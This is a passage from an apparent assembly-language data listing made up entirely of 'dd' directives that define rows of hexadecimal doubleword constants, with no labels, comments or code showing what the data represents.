		dd 7629809h, 0CFD381C8h, 0F07AA778h, 99501D1h, 8C652FFBh
		dd 0F8C14F33h, 14795E4h, 1C2337C4h, 2F6B1790h, 8C559C09h
		dd 4FF96634h, 0C805A804h, 5878800Dh, 2ED1ED2Ch,	66D76F01h
		dd 0F84C81B8h, 90612AB8h, 0F44A4D7Fh, 494A8589h, 9DAF2885h
		dd 0C78C0073h, 0E922861Ch, 2BB0450h, 0BC441242h, 0FBF2D290h
		dd 0EAC9E500h, 0EF5841C7h, 5F04D2F6h, 0C1D52720h, 29888DBCh
		dd 24FF3396h, 0E9B10449h, 55CBAF19h, 0ECB1872Dh, 95C920CAh
		dd 309787A4h, 80B3628Ch, 0C8018160h, 0A78982Dh,	82E20F51h
		dd 7E615B14h, 0A55DAEA7h, 256AB55Dh, 80C7E4B0h,	4DFB1202h
		dd 0D78B0F79h, 0B9D8FE1Bh, 7FE110A9h, 0B3F093B6h, 0A005B182h
		dd 0BE5334CBh, 210F1E82h, 6C7C6E44h, 0F58BF2F2h, 3A5FEE91h
		dd 74FC520Bh, 0C205DCA8h, 0FC5F52CCh, 2CA6EABh,	19406561h
		dd 0CD8EC193h, 0BDB86224h, 8DC18ACFh, 3E7919C5h, 0A81B7917h
		dd 5DBDC20Fh, 4D251532h, 9D8A408Bh, 1C4FE9D0h, 0ED051CC5h
		dd 9BEF2951h, 14A692E9h, 0BF8F9E16h, 6CF5B612h,	0B2E8E66Bh
		dd 16214C16h, 409BB0Dh,	0E872FAF5h, 0B756C01Ch,	0F7B35B44h
		dd 0F4ED920Eh, 0AC3A77A8h, 89FCBEEDh, 37AFD601h, 279B9E42h
		dd 961A0D45h, 2A4DFF22h, 9F4C2EE0h, 2D424C13h, 0A52D1D2Ch
		dd 7C8E64DFh, 21BD0EBFh, 0A716B85Fh, 0EE0BB0ACh, 672A090Fh
		dd 1CD11BE4h, 125D7CB1h, 0D105BB04h, 66ADE1FFh,	50B30B8h
		dd 22ED74B4h, 12DB518h,	0FE51BD33h, 20409C75h, 6197046Bh
		dd 74D29D7Eh, 13745126h, 1A69E92Bh, 86B35C7Ch, 6ABE34FCh
		dd 0D3DB2793h, 0F77627EDh, 16DBCBBDh, 67F79280h, 332D01ABh
		dd 857A7EFCh, 341B41B5h, 5FFFB8B7h, 35C36F20h, 8931C77h
		dd 278479E0h, 0F0A19D03h, 811E5FC2h, 40133BF3h,	2D8806ACh
		dd 115FE6A0h, 0CFD6F16h, 4A8C14ACh, 8FCD2009h, 0CD00C143h
		dd 0E5416A08h, 0BD3B8311h, 3595134Eh, 230A0023h, 0C0FCADC1h
		dd 79646698h, 8DF290E9h, 2575E600h, 13E51BF3h, 674B2000h
		dd 0CE5A09BFh, 483B251Dh, 0F6058FF6h, 24FF9008h, 0B84BAD3Fh
		dd 0FD79013Ch, 8E84A9E3h, 65D941FCh, 3A680022h,	0B0012518h
		dd 0DC2D6371h, 278A61E8h, 0AE806F7Fh, 4F1DEBC5h, 0E02FF650h
		dd 0B0EC6B3Bh, 29012524h, 0EB80CCEh, 0E7A2304Eh, 13358D82h
		dd 8501EB23h, 0C93FDBBFh, 0E4D95DE7h, 74952728h, 8D5EE096h
		dd 0D225C036h, 75F0EAF1h, 28014ABDh, 78FCA7Dh, 5A11D460h
		dd 0BC4BFD1Ah, 0B02B315h, 0D322F685h, 98821426h, 3AF51005h
		dd 0FD5971h, 0B530C7B3h, 0B10060A8h, 0B9EA63B6h, 9BB22FBh
		dd 12BC6658h, 89B8EE88h, 0B8141A49h, 308193B1h,	29D1CDEh
		dd 0AD8C8h, 0E2EAA2D6h,	29BED1DDh, 745BD71h, 27143547h
		dd 0BF80D1BCh, 19352C6Eh, 80B051BDh, 0B4662B4Ch, 1500CB9Fh
		dd 62E49013h, 5F9254F8h, 0FD5E1256h, 0ACB862h, 0E085BD42h
		dd 8730A947h, 2409817Bh, 79178CCEh, 89319DCCh, 1C7514B9h
		dd 8812F2D8h, 3F0EC6FBh, 0A0767340h, 4CF741CCh,	6E640096h
		dd 857E155Ch, 5F12EFB3h, 7BEC6050h, 38F18380h, 0A017C30h
		dd 0C61DFB42h, 773140F9h, 590423B8h, 0BA61DF8Bh, 3922F69Dh
		dd 0FC13C94Bh, 8800948Dh, 0D466CB7Ah, 585FA3B7h, 0C9254C58h
		dd 0CD5731C2h, 611664C2h, 0A03B297Ah, 2141B14Bh, 0BA66D482h
		dd 0A9D5C951h, 3FC4D108h, 63B1D703h, 0E798490Fh, 41007674h
		dd 54A8B9F9h, 49AD5542h, 8DC2FC08h, 61061865h, 3C0544A2h
		dd 0E5D53300h, 0F44ABF6Dh
		dd 5B6F3807h, 0B237A7DEh, 0F0353114h, 0E51260D7h, 0DBE27A6Eh
		dd 2B2C6D8Dh, 138F6EBBh, 0E205DA3Dh, 0C284051Fh, 0E8A7AFh
		dd 54BD0B35h, 2DF8C1h, 2E4A383Bh, 19E65892h, 27D6C90Fh
		dd 52BF137Bh, 0D0E6BBA4h, 0FF2905E7h, 0CA1A8B25h, 0EFC7570Ch
		dd 0BF08B774h, 0E9F4DEC3h, 4407149Dh, 0DD0ABF16h, 0FF7C15A1h
		dd 0E2730459h, 36C8F709h, 23C9C47Ch, 0A80AAFC0h, 4A5BB0BEh
		dd 0ACCBFD61h, 670B8C17h, 70750285h, 4DF1954Bh,	13A20254h
		dd 8D5D1177h, 0B104D02h, 5700C771h, 4A4F6674h, 0C14002Bh
		dd 0E9736FAh, 4805DB8Ah, 698D01F3h, 8C4BB4E9h, 0DB0181E9h
		dd 77F784Bh, 0D42F5150h, 239F0DDBh, 8DC86B5Fh, 0B0A902C7h
		dd 0D327FE49h, 0A80086E6h, 1480B9E1h, 0E5A65C3h, 6AABFB2h
		dd 5DC1B380h, 0BDAC5BBDh, 0CB877695h, 5499ACDh,	0BAE52A2h
		dd 7C985FAAh, 14014478h, 4640CC97h, 0F76B8537h,	26DD1071h
		dd 0F35DF5A2h, 0E86E5278h, 7E4D0127h, 21CACE2Fh, 0C92A7D5h
		dd 1C9D4E57h, 0C939B543h, 0B478F84Bh, 0C0B54DBDh, 54B78827h
		dd 49A11302h, 5EAA617Dh, 9FD24C5h, 0A47B27ADh, 0AC80DFA1h
		dd 2C1A7CA0h, 1F9B0037h, 7796711Bh, 7812D93Ah, 0B4F1EF23h
		dd 0DC44DE3Bh, 0E85F0A80h, 5E866D22h, 106FE821h, 811F0D89h
		dd 54EF82CFh, 735D6A28h, 7C5F72FAh, 7E7200E0h, 33D88A44h
		dd 2D359D17h, 99B192A8h, 0B51D7C14h, 7C2F6ABAh,	6E122E7Fh
		dd 99C80D1Ch, 379A00B0h, 3BA480A9h, 0B0B6A251h,	5BBA9100h
		dd 7B7BF96h, 507E7C0Fh,	0CAA841BBh, 10CDF224h, 0D4F041E5h
		dd 10628209h, 4FA84B75h, 0ECAFE9F9h, 0A2ED1D6Fh, 756E028Fh
		dd 0DE82501Dh, 455D1959h, 826DA773h, 2B305D41h,	71291902h
		dd 524144E2h, 3120DFFCh, 15A1965Fh, 0D22B8AD8h,	7927EA21h
		dd 0F686A890h, 0EDD03801h, 9D762880h, 0DD2346A4h, 0F9E16802h
		dd 200CE819h, 5B5E47EFh, 58D10F00h, 3113E4DFh, 0D75F5416h
		dd 0F1E77459h, 2DF7A72Eh, 5C2AE241h, 1846D675h,	0C5722127h
		dd 2CD158C4h, 1F986009h, 9700DC9Eh, 0DAF60124h,	1AA3454h
		dd 0F935E52Dh, 3AE6E380h, 0DFA2CA67h, 133A7730h, 0D95356F3h
		dd 282FE5EEh, 0E18A2582h, 722F2959h, 0DE74537Ch, 82DD2D40h
		dd 430C172Bh, 5E02ADECh, 13096004h, 0F407A857h,	3CA8B8A9h
		dd 9310C100h, 4074A9F3h, 0E9FC1E5Eh, 7BFF1C0Fh,	0DAFEB44Eh
		dd 0E0391B6h, 76EA81F0h, 48C79845h, 0B9103814h,	0E6FF7916h
		dd 47D1A260h, 6EBE71FDh, 884A7CDBh, 2B33580Ch, 48F01AC2h
		dd 380B057Eh, 65895A4Dh, 67604B4Ah, 30E3C50h, 0CC3A81D0h
		dd 52841945h, 0B270A30Ah, 0D9E937FBh, 0BE8B254Ch, 2B50101Ch
		dd 3C40030Dh, 397A344Fh, 0D6E73045h, 0B152012h,	5BF80536h
		dd 30C181Ch, 33A920D1h,	8D84DDEh, 80111912h, 5508F64h
		dd 0C44B836Dh, 51C445FCh, 1026C18Bh, 6167181h, 5909B514h
		dd 2C3C033h, 46306D25h,	2B2445F0h, 47D720AEh, 0A711D268h
		dd 1AE5D49Ah, 82040810h, 1C56A9E5h, 0B1458DD3h,	83441448h
		dd 58B22D69h, 0ED7ABE4Ah, 172CFA00h, 0D1D48B67h, 62B86609h
		dd 685E0B47h, 0A9742424h, 0DA7C86DEh, 6BECEBC2h, 45B88059h
		dd 0C503A82Ah, 5088459Dh, 31F520B5h, 2771D09Dh,	0F7D32A05h
		dd 373C1D0h, 9DDAA9A1h,	465E07A0h, 0C08BF930h, 0A4F400EBh
		dd 0E4F91B28h, 0E5E2A85Dh, 262260Eh, 0C2584029h, 76FD21h
		dd 4BB3C70Dh, 0AF8B3036h, 0E6D96700h, 6D60A120h, 3565074Ch
		dd 41EED275h, 0E8E8C37Fh, 9700BE3Fh, 6628C410h,	3F14E6Ah
		dd 3173D793h, 0C1D55060h, 0D8E2FAC6h, 6406788Dh, 6BCCE7C9h
		dd 3D18C441h, 0D12F0075h, 18E7CAAAh, 2028DB52h,	792048ACh
		dd 3810D870h, 82600961h, 59789429h, 8320DE68h, 0EBAB3D4Ch
		dd 0AAC82900h, 0C06121A8h, 69C7194Fh, 80FD0890h, 0A8A2AE21h
		dd 77AC64FBh, 126807E1h, 7317241Ch, 6000ED6Eh, 0B6364E0Dh
		dd 287DC26Bh, 1805F9Dh,	1CAEABD7h, 80C3FEE3h, 0DD7CAD44h
		dd 51543Bh, 9D9B9F0Fh, 8BE05EF7h, 6DA6EC00h, 83640865h
		dd 0D42501D7h, 2E1E5BA3h, 426520FCh, 0E08A6F02h, 61A76676h
		dd 0C36038F6h, 156F6CAh, 0F48492FFh, 0D81E7943h, 0F0002ACFh
		dd 0D0A72790h, 6C39B0h,	80D61B96h, 0B1E4110Ch, 0DF209860h
		dd 0E825FFh, 0AE50DB72h, 28B7E9DAh, 9C7B2B00h, 1CFF8524h
		dd 50256027h, 0C64A8B47h, 34EB3Bh, 7186466Ah, 15C481h
		dd 16A6B5A3h, 9A4A1270h, 10877B30h, 303B37EEh, 5650795Bh
		dd 3500F97Dh, 0CE4FF634h, 1E9386E0h, 40F40DA4h,	11720B9Dh
		dd 680325DFh, 7534D88Fh, 1B8100A2h, 9FFD469Ah, 0EF6F0E21h
		dd 0D25B80C0h, 26E2DA35h, 0CA3696Eh, 79600AE9h,	0BBBD48h
		dd 0A372A28Fh, 325571h,	0CA8E9201h, 0BACC3B51h,	41B23700h
		dd 9CBBDDA2h, 9DE4E0h, 0BF77D452h, 4BDE5890h, 0C4E58700h
		dd 0CC05CA26h, 0A04E009Eh, 218A397Fh, 2F0F47E7h, 0E3825A2h
		dd 0AE51983Ah, 0A17C0727h, 1019B42Ah, 976B1F90h, 7D392300h
		dd 0B23343A4h, 5574C9h,	0C293FFB6h, 0CFA81B34h,	8028496Fh
		dd 0F5912CAEh, 0E2210648h, 0F28E66F2h, 0B2705360h, 0D60F80h
		dd 46A5B83Fh, 13E7AFE9h, 9AC9B000h, 0A281C6FAh,	43AE03ACh
		dd 70BB9099h, 0D43B5801h, 47BD2F2Dh, 30B0CDDCh,	0FB992A8h
		dd 0EE007838h, 0E81115Bh, 763DD1h, 321355A7h, 0D46D5AAAh
		dd 0AF3AC071h, 19017917h, 2AA7BE40h, 99825137h,	0C7841DC8h
		dd 96CC9482h, 780888Fh,	15F7C0D2h, 5405680Ch, 0C0E621BFh
		dd 8B1ADA40h, 0B3005E56h, 1B850722h, 0FCC29C2Ah, 0BB980042h
		dd 0E1D3DAE9h, 9300EDD2h, 19645B05h, 0A4994h, 4EAAC6F6h
		dd 7AB15F54h, 4874A1F2h, 6F598300h, 0D636C01Dh,	335DFE0Eh
		dd 600826CEh, 158A2113h, 2A918300h, 0C88FB92h, 5CA2CD37h
		dd 2B005621h, 0A744EACh, 0D16F67h, 0F141D22Ah, 0CA8027B1h
		dd 487BB900h, 59EF3A55h, 1B95B04Fh, 4066370Bh, 9C055AC0h
		dd 0AE1A101h, 3AF94B7Dh, 21530898h, 9C000D38h, 0AECD2D51h
		dd 0C42475A4h, 1A5AE958h, 302C0488h, 309C2461h,	2CA4024Eh
		dd 235244h, 0A7829C0Ch,	7B573CE2h, 6E16A901h, 53A2796Bh
		dd 0C31CF110h, 7803237Dh, 51EF28DEh, 0D44CE030h, 5C631F79h
		dd 0AC3AD464h, 9ECF8405h, 0D0B40036h, 0C8AE97BAh, 30B0EB00h
		dd 0E271B8EAh, 4BDA0047h, 0EDFDC0A0h, 0B7001935h, 9E954D3h
		dd 57EC28h, 0CD595F15h,	0D17867DCh, 0B83E3200h,	8212AE9Ch
		dd 4DE8000Ch, 0D8D54F6Fh, 983D3779h, 73D60005h,	0B2A1CDB8h
		dd 89A81C03h, 0A2D9407Fh, 0A0E717B1h, 29ED400Eh, 868A0028h
		dd 24DA79h, 3DA5A82Fh, 4D9194Bh, 2C4EDB39h, 65003270h
		dd 0FEA7FF91h, 1D80086h, 0F17F522Dh, 1B1D46F7h,	5400E0DDh
		dd 2C8017B4h, 0B0E84Fh,	0E96F62F4h, 8C53D59Ch, 9CDF933h
		dd 8221135Eh, 0D7420E67h, 9803612Fh, 42E0ACBFh,	9F009016h
		dd 0A8276D0Fh, 632F136Eh, 0F59308B8h, 87662000h, 28E5360Fh
		dd 1EB33FEDh, 986F26h, 0EEAA5662h, 0A6F65A43h, 10B9F40Ch
		dd 1CF5B029h, 4042F6C0h, 929F84B7h, 4F207CEFh, 94D50013h
		dd 1553F586h, 0FA0E5F43h, 0C0F6BA7Eh, 0CF9C54F9h, 961E348Ch
		dd 5B068020h, 20A77967h, 0C87BEB88h, 807F1190h,	0D59BE960h
		dd 59458C5Bh, 6E9F330h,	41342D79h, 7B464004h, 9FE96C02h
		dd 5A313BD5h, 0E9648910h, 8E06C901h, 112A4E5Bh,	8D421883h
		dd 8298ECFDh, 0EE037B7Eh
		dd 35F03F09h, 217A1Ch, 281344ABh, 39DA7FC5h, 838C8902h
		dd 919B19BCh, 0F1199CD8h, 8827EC0Fh, 6A92448Ch,	630F8303h
		dd 0C8B94858h, 1DA812E8h, 0C6AAF79Bh, 28F1C878h, 0A494B000h
		dd 9E4B51EAh, 73AB19F3h, 81C8088Eh, 0EA9CB221h,	0B8415409h
		dd 4F00EB92h, 1E1D4E6Ch, 8028982Ch, 48D1491Dh, 8E4CD1Ch
		dd 86580708h, 0B97C9353h, 9D526278h, 0F9C0264h,	31B02760h
		dd 846F1091h, 5721000Fh, 373322E1h, 900447Ch, 1D4DF7F3h
		dd 512F2BA6h, 0F80EA429h, 8BC06788h, 7960B5h, 36060D8Fh
		dd 0AF8C2549h, 28429505h, 0B3006727h, 81A8F6BDh, 0D18200EDh
		dd 5C4F7A94h, 59E8AF15h, 43202F62h, 8D49DE6h, 0B060F4BBh
		dd 0AC92886h, 1D78C0D7h, 55F401BCh, 40DCF29Ch, 9BFC2FB8h
		dd 39783574h, 90A89471h, 9D7E4727h, 20A0C06Eh, 284CF857h
		dd 0E67818BDh, 9653482Ah, 7DE048A3h, 50C73415h,	778237E6h
		dd 7888AAE5h, 614674h, 0D7B4600Eh, 0FE8D3443h, 11280496h
		dd 8072533Bh, 29BA7400h, 0C9CDC809h, 0BF782333h, 0FD9100C4h
		dd 0A08D080Ch, 6EF8824Fh, 0A0C717FAh, 215648BCh, 305F4438h
		dd 2A5587E8h, 4EF6E0F8h, 90A13109h, 0A8440163h,	20E9996Bh
		dd 7B532180h, 39D4F31h,	6165CB06h, 0A1E1C3C7h, 0A0186484h
		dd 4B4DEA08h, 46DCC4BEh, 1F2098B6h, 0C9BCC530h,	1407184Ah
		dd 0BD54A0F3h, 29092765h, 42DF13h, 78C94F4Ch, 48C20543h
		dd 2381B031h, 0A7D0545Ch, 448C5390h, 793D6926h,	243FDC31h
		dd 0C70C2CEDh, 0ECB389CFh, 47461EF3h, 0DCF0C0E0h, 9B86DBCh
		dd 0CEACD709h, 4D1800E4h, 79080149h, 94480F99h,	5DC6CDEFh
		dd 840060AAh, 82A2542Ch, 1F0910Eh, 40A4ED5Fh, 0C4537529h
		dd 0D0A9A9AAh, 0A8ADE050h, 8157970Fh, 22C8B429h, 411D1802h
		dd 45699F8h, 0F8826928h, 0FF46150Fh, 440DF2A3h,	5833F99Ah
		dd 9D3067A2h, 87B10025h, 0A6513DA9h, 90D6A83Bh,	2B1EDE03h
		dd 34815677h, 18848A79h, 31776084h, 6B90109Ah, 8021C899h
		dd 12318056h, 813F690Ah, 9148021Ah, 849BECD1h, 4C8835A4h
		dd 0C5681F0h, 4D048C86h, 5B90A031h, 54212362h, 0C4F83176h
		dd 106504C0h, 0D4F3E5BFh, 0DCCCCB90h, 0FBC3F4D0h, 7BB8020Eh
		dd 17E09215h, 0C00A4C90h, 90F62F1Eh, 89D94B8Bh,	9CD000A8h
		dd 24D18326h, 0DE84A639h, 55CD11Ch, 123E6D05h, 0C0858008h
		dd 90A33150h, 22223346h, 31755500h, 542BE208h, 48327E01h
		dd 0FD09D285h, 5810C30Ah, 9181AFC5h, 97A74DCh, 0AD77C0BFh
		dd 18755899h, 2418906Eh, 0C4284BD5h, 668B4065h,	0D422E9h
		dd 0B95C4586h, 715F0E90h, 14085499h, 0EC071459h, 51C082C8h
		dd 4690A431h, 2F227Bh, 0B7317A68h, 8651200Ah, 0F52C9B90h
		dd 715949Fh, 0D9E904A0h, 2888A2F8h, 14D326FCh, 0BC311C4h
		dd 0A4E6ACD5h, 3883307Ch, 0B3202A3Fh, 27A467Ch,	0D59AE961h
		dd 3D6CE763h, 4EE97903h, 918CBFE6h, 80F2E81Ch, 252E72C8h
		dd 0F022A1h, 60B7CC5h, 0E37A581Eh, 0A90CC932h, 0D110E160h
		dd 0B01118F3h, 0FD649C0h, 4722BB00h, 0AAAE94A9h, 775B041Dh
		dd 9054261Ah, 86CE5798h, 12FDC9E4h, 25986067h, 8BC72660h
		dd 84034020h, 229E94Ch,	2679BC31h, 0A901DE18h, 0E6D46DB3h
		dd 59A897E2h, 2794670h,	4B54EAA7h, 10C731A6h, 0CEA9FB1h
		dd 28FA5CB3h, 411F3461h, 0A6D8D21Bh, 30444F9h, 8592C110h
		dd 888882A8h, 3B1228D2h, 280055E3h, 846A014Fh, 39B890C9h
		dd 23BEED3Eh, 646F7C00h, 944FA546h, 0F4C5BE28h,	0D0EA100h
		dd 4BE3A9B0h, 71E2E7h, 0A867130Bh, 84169B38h, 4F409260h
		dd 1C7A5BD1h, 0F248C8h,	0D9133571h, 0B0309A18h,	0C223A1C3h
		dd 0F750068h, 11AB5666h, 2F12B939h, 206F3C1Ah, 52B8B876h
		dd 5602A43Dh, 34C4E6D7h, 0D5CF0E1h, 64B06026h, 0FD022DEFh
		dd 49689AB2h, 0D1A8E017h, 0B0082884h, 0A04DF090h, 2892A858h
		dd 15087CADh, 0A442A477h, 0E0D6647Ch, 0E96D6076h, 43D5239Eh
		dd 88006411h, 0A984E965h, 4C0361D0h, 408778A2h,	70896401h
		dd 30A0C1B2h, 275700BAh, 17794B67h, 9BD04870h, 6E0F9EC0h
		dd 0FCA05C27h, 0F8665E0h, 4A222B04h, 0A0B6A917h, 8EC6AF1h
		dd 0A4874663h, 7B022021h, 29C03518h, 0CD578342h, 0E887645Eh
		dd 0F9D6092h, 0B827236Fh, 7080502Eh, 444D0F85h,	577500A6h
		dd 609C9F3h, 484C76BDh,	82A48278h, 344103F5h, 90029810h
		dd 65294F00h, 0B98F8466h, 0B16C3C00h, 0A2805A96h, 0B04303B3h
		dd 9AFB42E4h, 97017178h, 77E617B5h, 0A040F241h,	1A43F9Fh
		dd 0B0A91B58h, 81FBED67h, 0C894D118h, 1C205CA2h, 1278C404h
		dd 8C010C3h, 6BD07B1h, 61DB2B1Dh, 0D624ECB0h, 6700C07Ch
		dd 7A057743h, 92F602BCh, 5D5B36CEh, 9B2BE483h, 14B4E118h
		dd 8A791528h, 9F7BC060h, 847EE890h, 9864A374h, 0A893C178h
		dd 1CD14372h, 0AC99BF14h, 8180C0DBh, 8064155Eh,	0AD20D098h
		dd 2561C147h, 0C3D3CFC0h, 515C21A1h, 0E89913ACh, 79B83E3h
		dd 0C1497679h, 1935A71Fh, 65568C90h, 94837524h,	0CD397707h
		dd 0D07F3DC0h, 4ABF3B44h, 99B1A1B0h, 2601D403h,	92722A30h
		dd 0A0CF8EDFh, 9C0781E9h, 812CA994h, 0AA90D1D5h, 602CADh
		dd 0CD433DDBh, 50AF154h, 578D656Fh, 1008C3D7h, 0E8027977h
		dd 60A39A4Dh, 172AE0E7h, 0FB7F3043h, 0E39CD1E9h, 18988850h
		dd 0F500E77Dh, 0D713E937h, 707DF2E2h, 0CF0C0016h, 538BABD6h
		dd 79C1D994h, 6236673Eh, 87C42441h, 0CFDC8204h,	0A490CC0h
		dd 820F498h, 3CD0299h, 0A94F42F8h, 1F2A3848h, 0B5CEE9C0h
		dd 7D443F4Ah, 0E96F3A66h, 1C7D778Ah, 0D6A401D8h, 414B3326h
		dd 2DB788C8h, 1662358h,	4B77EA9Ah, 88DF188Eh, 0EA1492B4h
		dd 18F090BEh, 4AF459FFh, 0A4D70966h, 0B8229102h, 60707D47h
		dd 3A940B12h, 9AB04449h, 11F897E8h, 0B6C8091h, 3D23059Fh
		dd 0CE3E5382h, 2E7033A6h, 0C8467438h, 78A8A528h, 494710EEh
		dd 0A85314F1h, 9300B4Ch, 3D1C805Fh, 0B89C78D9h,	989054h
		dd 6363E29h, 0A36EC426h, 4D744700h, 0E4A454B1h,	5C1707C5h
		dd 0D278C16Ah, 71C1EECEh, 2F119520h, 30AFFC04h,	0DE102C18h
		dd 6F009C1Ah, 0B2F83546h, 6339A2h, 0E04D1907h, 28DF7AAAh
		dd 0EC00F1F4h, 0CB4CD570h, 9BEEE01h, 243453BAh,	8FC59F80h
		dd 690ED08Bh, 40DCA1D1h, 0EA1BDEE1h, 6EF500FCh,	0E048616h
		dd 3900E362h, 0E81DD28Dh, 0F0A83Eh, 0B5FBE590h,	0C73A894Dh
		dd 23BD5C00h, 5282FC96h, 8D69009Dh, 93C8A2A8h, 2C1D0A59h
		dd 0C6801946h, 0D464DA5Fh, 35EEC33h, 119F1699h,	9498BD0Eh
		dd 0B800AC44h, 195A7F9Dh, 3475B0Bh, 0E1A62D71h,	3800E40Ah
		dd 6A091836h, 76C549Bh,	45692092h, 4606E9Fh, 0DA17029Dh
		dd 0DFF3E407h, 6EE08C6Dh, 1D27D0D4h, 4EC7BBh, 4D97EAF7h
		dd 300ACD8h, 7F84F8CEh,	694437Ch, 0B9C911D0h, 0E6002070h
		dd 8C7AF0A9h, 0A62FD75h, 1E968FFh, 3BB680ECh, 1BF16596h
		dd 231FAB01h, 0F851BB6Eh, 4905F083h, 50BB3941h,	44A43815h
		dd 3B7300E8h, 750D11A7h, 0EF911454h, 6E00A036h,	7ECA0A6Ah
		dd 840F4C3Ch, 0C0F47DBFh, 5D838658h, 0DCC50007h, 0AE8F8535h
		dd 5B00F12Dh, 0C460BE76h, 1C2B3177h, 47C0151Eh,	502ECF80h
		dd 72E817C2h, 1684AD00h, 1C49B4A3h, 0AA420014h,	431AEAC5h
		dd 0F900384Eh, 6F397E08h, 14B258B7h, 0D45AEFD0h, 3D045B00h
		dd 39E71306h, 0E4FA6B00h
		dd 0AB99E6DEh, 0D694003Ah, 40CB7F0Fh, 0D8012731h, 333ECE6Bh
		dd 5C242EB5h, 0BC9B0051h, 0B883EF5Ah, 0A03EE563h, 0F09A8190h
		dd 23317834h, 0A00340D8h, 1BBA0FC0h, 11FC187Ch,	89D995B0h
		dd 87E4DE3Fh, 0CD4F76B4h, 40678DA2h, 73B56372h,	70C00069h
		dd 585BEB1Ah, 0B004FE2Ch, 5244FB41h, 668A090h, 540C7F0Eh
		dd 1EDD0CCh, 9AF5CA51h,	60F0E6E3h, 0B0E65529h, 0FC007090h
		dd 7254DFDDh, 3DFEB605h, 0C5856651h, 30EB2B5Ah,	0A4C7AE0h
		dd 0D64039h, 0DD6A56DAh, 0C02C912Ah, 15071EC1h,	0BC508612h
		dd 71449B8Ch, 0AE790377h, 0AF44FA3Fh, 2C00EAECh, 0F0052BE3h
		dd 985801A5h, 62C82E28h, 8B86D05Ah, 3AC9D300h, 0A8F4C4B4h
		dd 0B77B8Eh, 0E5381988h, 169F85DFh, 2B277F03h, 88FC7246h
		dd 7F63F8Bh, 0BC338866h, 0F06F4008h, 91001A5Eh,	299D47C3h
		dd 3539458h, 13EB39CDh,	10B83E2Ch, 790078F2h, 1CD24DBAh
		dd 3E6E479Ch, 0FA8009DCh, 0ED21EA80h, 4B01A267h, 6AD62F24h
		dd 0E0C04E50h, 39B5E4A0h, 37076020h, 307E1933h,	312E8096h
		dd 0FFBC5200h, 63E6B639h, 71A2008Bh, 2A2F2881h,	0E8007867h
		dd 1C3AAF6Dh, 579F3Eh, 5E710513h, 0D24E53A5h, 0B2661400h
		dd 20AD65DDh, 0DF601283h, 42AC0021h, 0A5FACFEEh, 0BDF73507h
		dd 0B4D0E46Fh, 0FC55AD46h, 0CB735Eh, 0B047344Bh, 5AD7EB2Dh
		dd 0F1380900h, 0F2562185h, 0D610005Dh, 0E1BC9CA0h, 0F700C2E7h
		dd 418608E9h, 45DF52h, 9CBB0372h, 33F417E8h, 34005EEAh
		dd 16D46C73h, 142E1CAAh, 85B81479h, 0A5CBF500h,	0A099DE5h
		dd 0F2E1DC00h, 0DFCEABFCh, 0F8FF305Fh, 0DD556868h, 9200A2F0h
		dd 24EB4FE4h, 0C88D8B0h, 26B806F7h, 7B0087F2h, 0EEA99153h
		dd 332EC0h, 21E9F8AEh, 99BDA0F0h, 0F23F88A0h, 0EAE700E9h
		dd 935709B1h, 0D40FD0A1h, 97A3CAE0h, 367EB723h,	43A5AE00h
		dd 1C2A3D32h, 790AF4DEh, 8C14073Ah, 0E3FC4D2Ch,	8EC80715h
		dd 27D8A89h, 0A5A0B61Ch, 0BEC600FFh, 71429EC1h,	4FDE02E5h
		dd 0B9B04396h, 0A9857EC0h, 0EC7A0502h, 490ED2BEh, 0C448BAC4h
		dd 5F7F133Fh, 8B40F6Bh,	6D124243h, 0D662D490h, 63D538h
		dd 8AD04FF3h, 7A3A1B6h,	15FCE5AFh, 2C950A5h, 9700CB24h
		dd 631D058Dh, 78A912Dh,	3839725Bh, 0C1513210h, 0E8B835E0h
		dd 0F22F4318h, 70D60428h, 9DCCA028h, 39480082h,	7EFC1412h
		dd 0CC073A1Ah, 6A7C18Fh, 796E2A80h, 47FA6Ah, 396C1D43h
		dd 0AE3237A9h, 910026FCh, 0EA22B595h, 0E07893h,	0A34543Ah
		dd 0BE8CDA44h, 2D074273h, 527BFB4Ch, 6BC13D40h,	57370007h
		dd 5E93185Bh, 3E00BF7Fh, 0D1DDBCFEh, 6820A6h, 9DCE37E8h
		dd 40FAC81Fh, 48BAD800h, 3E7BFCD2h, 1EA10076h, 6C18D9C7h
		dd 22182960h, 0F5E9B65Eh, 4EB8F9h, 9F0E4506h, 7A886AC3h
		dd 780F4617h, 525A8A00h, 0E6BFFDFEh, 0C7FB0B4Ah, 0D182A783h
		dd 0D84012A0h, 3F00EF80h, 5FAB8741h, 9C6E9EBh, 20D9B925h
		dd 0CEA5FC30h, 95E10D0Eh, 0C8E22174h, 5C3062C7h, 11040340h
		dd 8CA2320Ch, 217779F8h, 0D50014EAh, 72316626h,	0B3102Fh
		dd 1986C485h, 0AF40BA4Ch, 15FD6109h, 4D1820A8h,	3B7999h
		dd 7A115E9Bh, 0B2D01ED5h, 8C924100h, 44AB81FEh,	0D739C045h
		dd 10AA20F7h, 73FF1D00h, 36746451h, 33A1039Bh, 0CF5227ECh
		dd 4C0172D7h, 5CF5C468h, 71032C7Ch, 1FBD0CD3h, 0D59DC0BEh
		dd 7B5130DFh, 6CA88888h, 0C789EA05h, 0C4D77AF7h, 80CFA0C2h
		dd 0B2BC924h, 0CCCF375h, 0CCD01F53h, 0B2F200FCh, 83F69D5Ch
		dd 0BA422C00h, 5EE522A9h, 0F01600C4h, 2A468FB8h, 0A81BE9A7h
		dd 0C0507DCCh, 74AA236Ch, 3AD2B0C0h, 205DA442h,	3D5BC28h
		dd 0DC0806C2h, 2021237Ch, 70EE3B8Ch, 0C0ECC402h, 0F7CAA4A0h
		dd 0DC07221Ah, 7F719219h, 0DF5320DFh, 0BCB0BDh,	0F8F5B52Fh
		dd 2D331E1Ah, 4E8BA80Eh, 961E0C0h, 677F40h, 0E6EE6A50h
		dd 276F47D6h, 99B88200h, 0CAA4B2A3h, 2D7F00E2h,	0FC5A1814h
		dd 3BFE8452h, 0BA610100h, 7F697B45h, 43F230h, 0C0F0092Dh
		dd 183AA6D8h, 31205500h, 0E99C98F9h, 45950238h,	5F253D2Ch
		dd 0A6B03140h, 1B7EE300h, 961FD43Ch, 298B000Fh,	0DA0E5CB4h
		dd 0A900FD47h, 34A4EC87h, 0AAE58Ch, 1A9B09E6h, 0D73E080h
		dd 747B7C00h, 0A38C9802h, 1AB7703h, 0A46B450Eh,	0C8FAFFE9h
		dd 0D5025EF6h, 0CA461C3Dh, 88ECA35Ch, 799BD9B2h, 0F1F1D029h
		dd 6A0E002Dh, 76BE00ACh, 0D2C207E6h, 18007369h,	0FAF03E49h
